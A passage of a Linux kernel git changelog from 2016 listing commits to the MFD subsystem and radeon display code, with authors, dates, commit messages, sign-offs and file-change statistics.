hw executes flip immediately (because in vblank), but as 2 already happened, the flip completion routine only emits the flip completion event one refresh later -> wrong vblank count/timestamp for completion and no performance gain, as instead of delaying the flip until next vblank, we now delay the next flip by 1 refresh while waiting for the delayed flip completion event. Given we often don't gain anything due to this race, but lose precision, prevent the programmed flip from executing in vblank on pre DCE4 asics to avoid this race. On pre-AVIVO hw we can't program the hw for edge-triggered flips, they always execute anywhere in vblank. Therefore delay the actual flip programming until after vblank on pre-AVIVO. Reviewed-by: Michel Dänzer Signed-off-by: Mario Kleiner Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/atombios_crtc.c | 4 ++-- drivers/gpu/drm/radeon/radeon_display.c | 17 ++++++++++------- drivers/gpu/drm/radeon/rv515.c | 3 ++- 3 files changed, 14 insertions(+), 10 deletions(-) commit 73d4c23f5361928b12e7827e872612273cc1175a Author: Mario Kleiner Date: Sat Sep 17 14:25:38 2016 +0200 drm/radeon: Slightly more robust flip completion handling for < DCE-4 Pre DCE4 hardware doesn't have (reliable) pageflip completion irqs, therefore we have to use the old polling method for flip completion handling in vblank irq. As vblank irqs fire a bit before start of vblank (when the linebuffer fifo read position reaches end of scanout), we have some fudge for flip completion handling in the last lines of active scanout. Old code assumed the threshold to be 99% of active scanout height, a ballpark estimate which worked ok. Since we know since a while how to calculate the actual threshold from linebuffer size, lets make use of it to get a more accurate threshold. This completion path is still prone to some races in corner cases, especially on pre-AVIVO hardware, so document them a bit better in the code comments. Acked-by: Michel Dänzer Signed-off-by: Mario Kleiner Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_display.c | 30 ++++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) commit b8d336ed90f541097a2ce583be430bb3e895dfbd Author: Charles Keepax Date: Tue Sep 20 16:30:14 2016 +0100 mfd: arizona: Handle probe deferral for reset GPIO The Arizona CODECs will generally function correctly without a reset line although it is strongly advised to have one, as such we do allow the system to boot if the reset gpio is missing or incorrectly specified. However we should fail probe if we get a probe deferral request, this patch adds handling for this case. Reported-by: Richard Fitzgerald Signed-off-by: Charles Keepax Signed-off-by: Lee Jones drivers/mfd/arizona-core.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 1961531d1a0a011c77bfaafc8412e84a919d1747 Author: Charles Keepax Date: Tue Sep 20 16:30:13 2016 +0100 mfd: arizona: Remove arizona_of_get_named_gpio helper function This function is only used in a single place and no new users will be added as all the devices other required GPIOs are already handled. As such just merge the code back into the calling function. Signed-off-by: Charles Keepax drivers/mfd/arizona-core.c | 27 +++++++-------------------- include/linux/mfd/arizona/core.h | 3 --- 2 files changed, 7 insertions(+), 23 deletions(-) commit f4c052622567f9ff4f226f0f33d792c5ed01ec7f Author: Richard Fitzgerald Date: Tue Sep 13 10:05:44 2016 +0100 mfd: arizona: Add DT options for max_channels_clocked and PDM speaker config This patch adds DT settings for the max_channels_clocked, spk_fmt and spk_mute pdata. Signed-off-by: Richard Fitzgerald Acked-by: Rob Herring Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/arizona.txt | 18 ++++++++++++++ drivers/mfd/arizona-core.c | 30 +++++++++++++++++++++++ 2 files changed, 48 insertions(+) commit 0133d323463ec20131f7fd5a70051bd89db4f7a1 Author: Peter Ujfalusi Date: Wed Aug 31 14:46:21 2016 +0300 mfd: twl6040: Register child device for twl6040-pdmclk The McPDM in OMAP4/5 is using the pdmclk from twl6040 as functional clock. The twl6040-pdmclk driver provides a clock which can be used to make sure that the pdmclk is active when the McPDM is in use. Signed-off-by: Peter Ujfalusi Acked-by: Rob Herring Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/twl6040.txt | 1 + drivers/mfd/twl6040.c | 5 +++++ include/linux/mfd/twl6040.h | 2 +- 3 files changed, 7 insertions(+), 1 deletion(-) commit 25d94a11db6d1e07a8a0914f33456c018049992e Author: Lee Jones Date: Thu Sep 15 11:41:34 2016 +0100 mfd: cros_ec_spi: Remove unused variable 'request' Signed-off-by: Lee Jones drivers/mfd/cros_ec_spi.c | 2 -- 1 file changed, 2 deletions(-) commit c7c76277702c8da9ad9914ade7a4c60a7dcd2c0b Author: Lee Jones Date: Wed Sep 14 12:04:43 2016 +0100 mfd: omap-usb-host: Return value is not 'const int' Change from 'const int' to just 'int'. Cc: Signed-off-by: Lee Jones drivers/mfd/omap-usb-host.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 364c517edc3f1ebeeb6960711628b2340bb904be Author: Lee Jones Date: Wed Sep 14 11:56:34 2016 +0100 mfd: ab8500-debugfs: Remove 'weak' function suspend_test_wake_cause_interrupt_is_mine() There are no other functions which can over-ride it. Signed-off-by: Lee Jones drivers/mfd/ab8500-debugfs.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit e58d3e76be1b5f7f2666dc6aed4dcd065397fd3f Author: Lee Jones Date: Wed Sep 14 11:55:17 2016 +0100 mfd: ab8500-debugfs: Remove ab8500_dump_all_banks_to_mem() Doesn't appear to be used. No call sites exist. Signed-off-by: Lee Jones drivers/mfd/ab8500-debugfs.c | 54 -------------------------------------------- 1 file changed, 54 deletions(-) commit 45ff2b685a6e8588ed637ba711b9a42ad1963066 Author: Lee Jones Date: Wed Sep 14 11:51:42 2016 +0100 mfd: db8500-prcmu: Remove unused *prcmu_set_ddr_opp() calls There are no call sites for these functions. Strip them out. Signed-off-by: Lee Jones drivers/mfd/db8500-prcmu.c | 19 ------------------- include/linux/mfd/db8500-prcmu.h | 6 ------ include/linux/mfd/dbx500-prcmu.h | 9 --------- 3 files changed, 34 deletions(-) commit c45eab2cb06092aa61e67fc6801cf0d6fac29482 Author: Lee Jones Date: Wed Sep 14 11:14:30 2016 +0100 mfd: ab8500-debugfs: Prevent initialised field from being over-written Due to the lack of parity in the way array fields have been named/ numbered, a mistake was made where more debug fields were declared than actually existed. In doing so, 2 fields were added, which although unclear, were already declared in the array. The result was that the latter declarations trashed the former ones. This patch places the array back in the correct order and removes the offending NULL entries. While we're at it, let's ensure this doesn't happen again by naming each field properly and add a new *_LAST define to describe how many fields there should be. Signed-off-by: Lee Jones drivers/mfd/ab8500-debugfs.c | 50 ++++++++++++++++----------------------- include/linux/mfd/abx500/ab8500.h | 2 ++ 2 files changed, 23 insertions(+), 29 deletions(-) commit c646e2b115b0a23a013b91df5c54c8f5d06e607b Author: Lee Jones Date: Wed Sep 14 10:44:27 2016 +0100 mfd: max8997-irq: 'inline' should be at the beginning of the declaration Reported by [-Wold-style-declaration]. Signed-off-by: Lee Jones drivers/mfd/max8997-irq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fae5e033d65a03c8b705be8ffc0ef69162544368 Author: Arnd Bergmann Date: Tue Sep 6 15:13:01 2016 +0200 mfd: rk808: Fix RK818_IRQ_DISCHG_ILIM initializer When building with -Woverride-init, we get a warning about an incorrect initializer: drivers/mfd/rk808.c:244:8: error: initialized field overwritten [-Werror=override-init] [RK818_IRQ_DISCHG_ILIM] = { This is clearly a mistake, as both RK818_IRQ_DISCHG_ILIM and RK818_IRQ_USB_OV are defined as '7', but they refer to different register bits. Changing RK818_IRQ_DISCHG_ILIM to 15 is consistent with how all other 14 interrupts are handled here, so I'm assuming this is what it should have been. Fixes: 2eedcbfc0612 ("mfd: rk808: Add RK818 support") Signed-off-by: Arnd Bergmann Acked-by: Andy Yan Signed-off-by: Lee Jones include/linux/mfd/rk808.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b4feabe917ee6995c80e2a53b84946d606e78e89 Author: Arnd Bergmann Date: Wed Sep 14 10:13:28 2016 +0200 mfd: tps65217: Fix nonstandard declaration The tps65217 gained a new warning when building with W=1: drivers/mfd/tps65217.c:85:1: error: 'inline' is not at beginning of declaration [-Werror=old-style-declaration] This fixes it by putting the 'inline' modifier before 'const'. Fixes: 262d5cc6ceb2 ("mfd: tps65217: Add support for IRQs") Signed-off-by: Arnd Bergmann Signed-off-by: Lee Jones drivers/mfd/tps65217.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fe62c477df0c9501dea8c16d78e722c902737a53 Author: Axel Lin Date: Tue Sep 6 08:59:55 2016 +0800 mfd: lp873x: Remove unused mutex lock from struct lp873x The mutex is not used, so remove it. Signed-off-by: Axel Lin Signed-off-by: Lee Jones drivers/mfd/lp873x.c | 2 -- include/linux/mfd/lp873x.h | 1 - 2 files changed, 3 deletions(-) commit 2c2469bc03d569c49119db2cccb5cb3f0c6a5b33 Author: Boris Brezillon Date: Tue Sep 6 14:19:29 2016 +0200 mfd: atmel-hlcdc: Do not sleep in atomic context readl_poll_timeout() calls usleep_range(), but regmap_atmel_hlcdc_reg_write() is called in atomic context (regmap spinlock held). Replace the readl_poll_timeout() call by readl_poll_timeout_atomic(). Cc: Fixes: ea31c0cf9b07 ("mfd: atmel-hlcdc: Implement config synchronization") Signed-off-by: Boris Brezillon Signed-off-by: Lee Jones drivers/mfd/atmel-hlcdc.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 22a96b85eabd05a77bd1388d041d96ccc8f86459 Author: Arnd Bergmann Date: Tue Sep 6 15:24:00 2016 +0200 mfd: exynos-lpass: Mark PM functions as __maybe_unused The newly added exynos lpass driver produces a build warning when CONFIG_PM is disabled since the only callers of exynos_lpass_disable are under an #ifdef: drivers/mfd/exynos-lpass.c:93:13: error: 'exynos_lpass_disable' defined but not used [-Werror=unused-function] static void exynos_lpass_disable(struct exynos_lpass *lpass) This removes the #ifdef and replaces it with __maybe_unused annotations so the compiler can leave out the unused code silently with less room for mistakes. Fixes: 36c26760bba8 ("mfd: Add Samsung Exynos Low Power Audio Subsystem driver") Signed-off-by: Arnd Bergmann Reviewed-by: Sylwester Nawrocki Signed-off-by: Lee Jones drivers/mfd/exynos-lpass.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit c50cdd62dda3f885c1e6ca8b3d5a0851c911ec54 Author: Jarkko Nikula Date: Mon Sep 12 14:41:33 2016 +0300 mfd: intel-lpss: Add default I2C device properties for Apollo Lake Default I2C device properties for Intel Broxton, especially SDA hold time may not be enough on Intel Apollo Lake. These properties are used in case we don't get timing parameters from ACPI. The default SDA hold time for Broxton may fail with arbitration lost errors on Apollo Lake: i2c_designware i2c_designware.1: i2c_dw_handle_tx_abort: lost arbitration Fix this by using different default device properties on Apollo Lake than Broxton. Reported-by: Paul Liu Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=156181 Signed-off-by: Jarkko Nikula Acked-by: Mika Westerberg Signed-off-by: Lee Jones drivers/mfd/intel-lpss-acpi.c | 14 +++++++++++++- drivers/mfd/intel-lpss-pci.c | 28 ++++++++++++++++++++-------- 2 files changed, 33 insertions(+), 9 deletions(-) commit 7a243b632383fd05cd230779f33f2b123fc16b40 Author: Paul Gortmaker Date: Mon Sep 12 10:40:54 2016 -0400 mfd: twl-core: Make it explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config TWL4030_CORE drivers/mfd/Kconfig: bool "TI TWL4030/TWL5030/TWL6030/TPS659x0 Support" ...meaning that it currently is not being built as a module by anyone. Lets remove what modular code that we can, so that when reading the driver there is less doubt that it is builtin-only. Note that we can't remove the twl_remove() itself ; it is still used by the probe unwind routine. So we leave it linked into the .remove as well, even though it will most likely never be called via that path from an unbind. Since module_i2c_driver() uses the same init level priority as builtin_i2c_driver() the init ordering remains unchanged with this commit. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Signed-off-by: Paul Gortmaker Acked-by: Tony Lindgren Signed-off-by: Lee Jones drivers/mfd/twl-core.c | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) commit 391cd33a0b662b8cea381aaa42ce665c4c113785 Author: Paul Gortmaker Date: Mon Sep 12 10:40:53 2016 -0400 mfd: sun6i-prcm: Make it explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_SUN6I_PRCM drivers/mfd/Kconfig: bool "Allwinner A31 PRCM controller" ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modularity so that when reading the driver there is no doubt it is builtin-only. Since module_platform_driver() uses the same init level priority as builtin_platform_driver() the init ordering remains unchanged with this commit. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Signed-off-by: Paul Gortmaker Acked-by: Maxime Ripard Acked-by: Boris Brezillon Signed-off-by: Lee Jones drivers/mfd/sun6i-prcm.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit da4d0f2425745efcb765f3c5a308389eb1e56be7 Author: Paul Gortmaker Date: Mon Sep 12 10:40:52 2016 -0400 mfd: smsc-ece1099: Make it explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_SMSC drivers/mfd/Kconfig: bool "SMSC ECE1099 series chips" ...meaning that it currently is not being built as a module by anyone. Lets remove the modular code that is essentially orphaned, so that when reading the driver there is no doubt it is builtin-only. Since module_init was not in use by this code, the init ordering remains unchanged with this commit. We replace module.h with init.h and delete an unused moduleparam.h include. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Cc: Sourav Poddar Signed-off-by: Paul Gortmaker Signed-off-by: Lee Jones drivers/mfd/smsc-ece1099.c | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) commit b3fe9c5c475364a0f9fe4d246daa26d5c856234e Author: Paul Gortmaker Date: Mon Sep 12 10:40:51 2016 -0400 mfd: intel_msic: Make it explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_INTEL_MSIC drivers/mfd/Kconfig: bool "Intel MSIC ...meaning that it currently is not being built as a module by anyone. Lets remove the couple instances of module references, so that when reading the driver there is no doubt it is builtin-only. Since module_platform_driver() uses the same init level priority as builtin_platform_driver() the init ordering remains unchanged with this commit. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Signed-off-by: Paul Gortmaker Acked-by: Mika Westerberg Signed-off-by: Lee Jones drivers/mfd/intel_msic.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit ed401e8ff47c0e935f6fc3c0726e9e480056c372 Author: Paul Gortmaker Date: Mon Sep 12 10:40:50 2016 -0400 mfd: as3722: Convert MFD_AS3722 from bool to tristate The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_AS3722 drivers/mfd/Kconfig: bool "ams AS3722 Power Management IC" ...meaning that it currently is not being built as a module by anyone. In response to an earlier patch set suggesting removal of the unused modular code, Laxman suggested that this driver be instead moved to tristate. We do that here, and confirm it can build and modpost as a tristate. However there remains to be runtime testing in order to ensure this change is 100% functional for "=m". Cc: Florian Lobmaier Cc: Laxman Dewangan Signed-off-by: Paul Gortmaker Signed-off-by: Lee Jones drivers/mfd/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0a589167b3be9aa1b2c46d5013f147ca97fab7f3 Author: Paul Gortmaker Date: Mon Sep 12 10:40:49 2016 -0400 mfd: altera-a10sr: Make it explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_ALTERA_A10SR drivers/mfd/Kconfig: bool "Altera Arria10 DevKit System Resource chip" ...meaning that it currently is not being built as a module by anyone. Lets remove the modular code that is essentially orphaned, so that when reading the driver there is no doubt it is builtin-only. Since builtin_driver() uses the same init level priority as module_spi_driver() the init ordering remains unchanged with this commit. [Note that there is no builtin_spi_driver macro, so we open-code what it would be via builtin_driver().] Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information was (or is now) contained at the top of the file in the comments. Cc: Thor Thayer Signed-off-by: Paul Gortmaker Signed-off-by: Lee Jones drivers/mfd/altera-a10sr.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit dea9c730e568e86063a85df355d5ad7c1cdda895 Author: Marcin Niestroj Date: Fri Sep 9 10:42:03 2016 +0200 mfd: tps65217: Add power button as subdevice Add tps65217 power buttor subdevice with assigned IRQ resources. Signed-off-by: Marcin Niestroj Acked-by: Tony Lindgren Signed-off-by: Lee Jones drivers/mfd/tps65217.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 6556bdacf646fcaa0586123ba85412de1c8f0eee Author: Marcin Niestroj Date: Fri Sep 9 10:42:02 2016 +0200 mfd: tps65217: Add support for IRQs Add support for handling IRQs: power button, AC and USB power state changes. Mask and interrupt bits are shared within one register, which prevents us to use regmap_irq implementation. New irq_domain is created in order to add interrupt handling for each tps65217's subsystem. IRQ resources have been added for charger subsystem to be able to notify about AC and USB state changes. Signed-off-by: Marcin Niestroj Reviewed-by: Grygorii Strashko Tested-by: Tony Lindgren Signed-off-by: Lee Jones drivers/mfd/Kconfig | 1 + drivers/mfd/tps65217.c | 195 +++++++++++++++++++++++++++++++++++++++++-- include/linux/mfd/tps65217.h | 12 +++ 3 files changed, 200 insertions(+), 8 deletions(-) commit 7e94e51525d3a289ed0c60b57dff36630a8413e4 Author: Julia Lawall Date: Sun Sep 11 14:14:38 2016 +0200 mfd: sm501: Constify gpio_chip structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct gpio_chip i@p = { ... }; @ok@ identifier r.i; expression e; position p; @@ e = i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct gpio_chip e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct gpio_chip i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Lee Jones drivers/mfd/sm501.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cc370ab50e57ecc726e6c3ffa190531fbdec42aa Author: Andrew Jeffery Date: Thu Sep 8 14:43:18 2016 +0930 syscon: dt-bindings: Add documentation for Aspeed system control units Signed-off-by: Andrew Jeffery Acked-by: Rob Herring Acked-by: Joel Stanley Acked-by: Linus Walleij Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/aspeed-scu.txt | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 80366127be7a3f318f0721ccda553f33524665f5 Author: Lee Jones Date: Thu Sep 8 08:02:36 2016 +0100 MAINTAINERS: Add MFD's DT bindings directory to MFD entry Reviewed-by: Andrew Jeffery Signed-off-by: Lee Jones MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit b53046cbf8c90ca67a818c9093227e60cf1387b6 Author: Arnd Bergmann Date: Tue Sep 6 15:53:29 2016 +0200 mfd: ucb1x00: Remove NO_IRQ check probe_irq_off() returns '0' on failure, not NO_IRQ, so the check in this driver is clearly wrong. This replaces it with the regular '!irq' check used in other drivers. The sa1100 platform that this driver is used on originally numbered all its interrupts starting at '0', which would have conflicted with this change, but as of commit 18f3aec ("ARM: 8230/1: sa1100: shift IRQs by one"), this is not a problem any more. Signed-off-by: Arnd Bergmann Signed-off-by: Lee Jones drivers/mfd/ucb1x00-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bab1e0c01810629a878faf0b3a2dd672693c58af Author: Wenyou Yang Date: Thu Sep 1 17:30:00 2016 +0800 doc: bindings: mfd: act8945a: Update the example Since the act8945a-charger is regarded as a sub-device and it using "interrupts" property, update the examples section. Signed-off-by: Wenyou Yang Acked-by: Rob Herring Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/act8945a.txt | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) commit c78cb17867e48a4b74abbc8ffc52ac1ed5d0299d Author: Peter Ujfalusi Date: Wed Aug 31 14:46:20 2016 +0300 mfd: twl6040: The chip does not support bulk access Bulk access is not working with twl6040, we need to use single register access. Bulk access would happen when we try to sync the regcache after power on. Signed-off-by: Peter Ujfalusi Signed-off-by: Lee Jones drivers/mfd/twl6040.c | 1 + 1 file changed, 1 insertion(+) commit 3612b27cfb4a074c83cc74b928517aca2d872861 Author: Charles Keepax Date: Tue Aug 30 10:33:10 2016 +0100 mfd: arizona: Use suspend_noirq inplace of suspend_late As runtime PM doesn't function whilst processing system suspend/resume operations and the Arizona IRQ handlers need runtime PM to function we must disable IRQs during these operations. Whilst this is already done in the driver we are using suspend/suspend_late and resume/resume_noirq to do so which has two problems. Firstly, as suspend_late is before suspend_noirq that means we still have a small window where an IRQ can cause issues. Secondly, if another suspend_late handler fails after ours has run then (as resume_noirq will not run) we will make unbalanced calls to enable_irq. This is all simply fixed by using the suspend_noirq callback rather than suspend_late. Whilst we are doing this tidy the code up a little, and use the appropriate helper macros. Signed-off-by: Charles Keepax Signed-off-by: Lee Jones drivers/mfd/arizona-core.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 7235711aec8d9dd3c884e4761cb94c40f3849090 Author: Wenyou Yang Date: Thu Aug 25 15:19:49 2016 +0800 mfd: act8945a: Add .of_compatible for act8945a-charger To regard the act8945a-charger as a sub-device, add .of_compatible for act8945a-charger cell. Signed-off-by: Wenyou Yang Signed-off-by: Lee Jones drivers/mfd/act8945a.c | 1 + 1 file changed, 1 insertion(+) commit 75d8a2b041f24ee5cb8b701c2cc62826b65dfb8c Author: Charles Keepax Date: Wed Aug 31 10:41:30 2016 +0100 mfd: arizona: Add sensible return value to some error paths There are some cases in arizona_dev_init, such as where we don't recognise the chip ID, in which we head to the error path without setting a sensible error code in ret. This would lead to the chip silently failing probe, as it would still return 0. Fix this up by adding appropriate sets of the return value. Whilst adding these update the existing paths that do return an error when the chip is not recognised to use ENODEV, which seems like a better fit. Signed-off-by: Charles Keepax Signed-off-by: Lee Jones drivers/mfd/arizona-core.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit c695abab2429cfa9554aa353702936d1f064f073 Author: Sylwester Nawrocki Date: Wed Aug 10 16:48:20 2016 +0200 mfd: Add Samsung Exynos Low Power Audio Subsystem driver This patch adds common driver for the Top block of the Samsung Exynos SoC Low Power Audio Subsystem. This is a minimal driver which prepares resources for IP blocks like I2S, audio DMA and UART and exposes a regmap for the Top block registers. Also system power ops are added to ensure the Audio Subsystem is operational after system suspend/resume cycle. Signed-off-by: Inha Song Signed-off-by: Beomho Seo Signed-off-by: Sylwester Nawrocki Tested-by: Chanwoo Choi Signed-off-by: Lee Jones drivers/mfd/Kconfig | 8 ++ drivers/mfd/Makefile | 1 + drivers/mfd/exynos-lpass.c | 187 +++++++++++++++++++++++++++++++++ include/linux/mfd/syscon/exynos5-pmu.h | 4 +- 4 files changed, 199 insertions(+), 1 deletion(-) commit e18183cefc8b52722c27952036db793a25de47d2 Author: Sylwester Nawrocki Date: Wed Aug 10 16:48:19 2016 +0200 mfd: Add DT bindings documentation for Samsung Exynos LPASS This patch adds documentation of the DT bindings for the Samsung Exynos SoC Low Power Audio Subsystem. Signed-off-by: Sylwester Nawrocki Acked-by: Rob Herring Signed-off-by: Lee Jones .../bindings/mfd/samsung,exynos5433-lpass.txt | 70 ++++++++++++++++++++++ 1 file changed, 70 insertions(+) commit 547120edbacba09ae8becab65aa86e3fd4e75e9a Author: Steve Twiss Date: Wed Jul 6 16:12:03 2016 +0100 mfd: da9053: Ensure the FAULT_LOG is cleared during MFD driver probe The function da9052_clear_fault_log() is added to mitigate the case of persistent data being transferred between reboots. Clearance of any the persistent information within the DA9053 FAULT_LOG register must be completed during start-up so the fault-log does not continue with previous values. A clearance function has been added here in the kernel driver because wiping the fault-log cannot be counted on outside the Linux kernel. Signed-off-by: Steve Twiss Reviewed-by: Adam Thomson Signed-off-by: Lee Jones drivers/mfd/da9052-core.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit 29090265a242765a0d84bd04ce90e0fa69d75602 Author: Markus Elfring Date: Thu Aug 11 13:30:32 2016 +0200 mfd: dm355evm_msp: Refactoring for add_child() Adjust jump targets according to the Linux coding style convention. Another check for the variable "status" can be omitted then at the end. Link: https://lkml.kernel.org/g/<20160628163146.GG29166@dell> Signed-off-by: Markus Elfring Signed-off-by: Lee Jones drivers/mfd/dm355evm_msp.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) commit 8dcc5ff8fcaf778bb57ab4448fedca9e381d088f Author: Lu Baolu Date: Thu Aug 11 10:39:03 2016 +0800 mfd: rtsx_usb: Avoid setting ucr->current_sg.status Member "status" of struct usb_sg_request is managed by usb core. A spin lock is used to serialize the change of it. The driver could check the value of req->status, but should avoid changing it without the hold of the spinlock. Otherwise, it could cause race or error in usb core. This patch could be backported to stable kernels with version later than v3.14. Cc: stable@vger.kernel.org # 3.14+ Cc: Alan Stern Cc: Roger Tseng Signed-off-by: Lu Baolu Signed-off-by: Lee Jones drivers/mfd/rtsx_usb.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 09185a5999c733ec37220ad4a0baa7598a2044d2 Author: Russell King Date: Tue Aug 30 12:00:25 2016 +0100 mfd: ucb1x00: Allow IRQ probing to work with IRQs > 32 probe_irq_on() only returns non-zero if it found any interrupts below IRQ32 which could be probe candidates. If all the probable interrupts are higher than 32, then this will cause a failure. Fix this. Signed-off-by: Russell King Signed-off-by: Lee Jones drivers/mfd/ucb1x00-core.c | 4 ---- 1 file changed, 4 deletions(-) commit 3526403353c2a1b94c3181f900582626d23c339b Author: Linus Walleij Date: Thu Aug 18 20:40:45 2016 +0200 mfd: qcom_rpm: Handle message RAM clock The MSM8660, APQ8060, IPQ806x and MSM8960 have a GCC clock to the message RAM used by the RPM. This needs to be enabled for messages to pass through. This is a crude solution that simply prepare/enable at probe() and disable/unprepare at remove(). More elaborate PM is probably possible to add later. The construction uses IS_ERR() to gracefully handle the platforms that do not provide a message RAM clock. It will bail out of probe only if the clock is hitting a probe deferral situation. Of course this requires the proper device tree set-up: rpm: rpm@104000 { compatible = "qcom,rpm-msm8660"; clocks = <&gcc RPM_MSG_RAM_H_CLK>; clock-names = "ram"; ... }; I have provided this in the MSM8660 device tree, and will provide patches for the other targets. Cc: Björn Andersson Signed-off-by: Linus Walleij Signed-off-by: Lee Jones drivers/mfd/qcom_rpm.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 8c5d0571596efa5656cc53144172baa7c5c57b43 Author: Krzysztof Kozlowski Date: Wed Aug 17 14:07:42 2016 +0200 mfd: max14577: Change Krzysztof Kozlowski's email to kernel.org Change my email address to kernel.org instead of Samsung one for the purpose of any future contact. The copyrights remain untouched and are attributed to Samsung. Signed-off-by: Krzysztof Kozlowski Signed-off-by: Lee Jones drivers/mfd/max14577.c | 4 ++-- include/linux/mfd/max14577-private.h | 2 +- include/linux/mfd/max14577.h | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit 78fd1a0fa988a9b9bfc1c6c5daa0d6486c1e014c Author: Keerthy Date: Mon Aug 8 11:16:55 2016 +0530 Documentation: mfd: Add DT bindings for the LP873X The lp873x series of PMICs have a bunch of regulators and a couple of GPO(General Purpose Outputs). Add information for the MFD and regulator drivers. Signed-off-by: Keerthy Acked-by: Rob Herring Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/lp873x.txt | 59 ++++++++++++++++++++++++ 1 file changed, 59 insertions(+) commit 9c6235c8633210cc2da0882e2e9d6ff90aa37503 Author: Bin Gao Date: Wed Jul 20 17:33:56 2016 -0700 mfd: intel_soc_pmic_bxtwc: Add bxt_wcove_usbc device The Intel Whiskey Cove PMIC includes several function units, e.g. ADC, thermal, USB Type-C, GPIO, etc. The corresponding device has to be created in the mfd driver(intel_soc_pmic_bxtwc.c). This change adds the USB Type-c device. Signed-off-by: Bin Gao Signed-off-by: Lee Jones drivers/mfd/intel_soc_pmic_bxtwc.c | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) commit 77fc5ff64f1834976abbf499b2adc95a4589ea86 Author: Mika Westerberg Date: Mon Jul 4 18:24:54 2016 +0300 mfd: lpss: Add Intel Kaby Lake PCH-H PCI IDs Intel Kaby Lake PCH-H has the same LPSS than Intel Sunrisepoint. Add the new IDs to the list of supported devices. Signed-off-by: Mika Westerberg Signed-off-by: Lee Jones drivers/mfd/intel-lpss-pci.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 9a6dc644512fd083400a96ac4a035ac154fe6b8d Author: Dan Carpenter Date: Thu Aug 4 08:26:56 2016 +0300 mfd: 88pm80x: Double shifting bug in suspend/resume set_bit() and clear_bit() take the bit number so this code is really doing "1 << (1 << irq)" which is a double shift bug. It's done consistently so it won't cause a problem unless "irq" is more than 4. Fixes: 70c6cce04066 ('mfd: Support 88pm80x in 80x driver') Signed-off-by: Dan Carpenter Signed-off-by: Lee Jones include/linux/mfd/88pm80x.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7f70495a51889e86930fb3807fa984b8b370eaf3 Author: Axel Lin Date: Fri Aug 5 14:40:31 2016 +0800 mfd: altera-a10sr: Make altr_a10sr_regmap_config static const It's only used in this driver and never get modified, make it static const. Signed-off-by: Axel Lin Reviewed-by: Thor Thayer Signed-off-by: Lee Jones drivers/mfd/altera-a10sr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 88003fb10f1fc606e1704611c62ceae95fd1d7da Author: Uwe Kleine-König Date: Fri Jul 29 21:29:15 2016 +0200 mfd: wm8350-i2c: Make sure the i2c regmap functions are compiled This fixes a compile failure: drivers/built-in.o: In function `wm8350_i2c_probe': core.c:(.text+0x828b0): undefined reference to `__devm_regmap_init_i2c' Makefile:953: recipe for target 'vmlinux' failed Fixes: 